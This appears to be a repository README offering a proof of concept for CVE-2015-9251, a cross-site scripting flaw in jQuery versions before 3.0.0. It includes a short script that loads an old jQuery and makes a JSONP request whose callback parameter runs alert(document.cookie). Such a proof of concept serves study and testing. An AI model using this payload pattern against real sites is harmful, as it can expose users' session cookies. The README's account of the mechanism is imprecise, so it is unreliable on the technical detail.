
PoC para CVE-2015-9251 jQuery menor a 3.0.0.
PoC for CVE-2015-9251 jQuery before 3.0.0.
This repository contains a Proof of Concept (PoC) for the vulnerability CVE-2015-9251 in the jQuery library. The vulnerability allows a Cross-Site Scripting (XSS) attack through unsanitized JSONP calls, because jQuery allows code injection in the callback parameter in versions prior to 3.0.0.
CVE-2015-9251 affects jQuery versions prior to 3.0.0. The vulnerability is exploited by manipulating the callback parameter in a JSONP request, which can allow the execution of arbitrary JavaScript code in the victim's browser. This can lead to the exposure of sensitive data, such as session cookies.
To run the PoC, follow these steps:
<script src="https://code.jquery.com/jquery-1.11.3.min.js"></script>
<script>
// Function that simulates a request to a vulnerable server
$.ajax({
url: "https://example.com/api?callback=alert(document.cookie)",
dataType: "jsonp", // JSONP allows code execution in JSONP callbacks
success: function(response) {
console.log(response);
}
});
</script>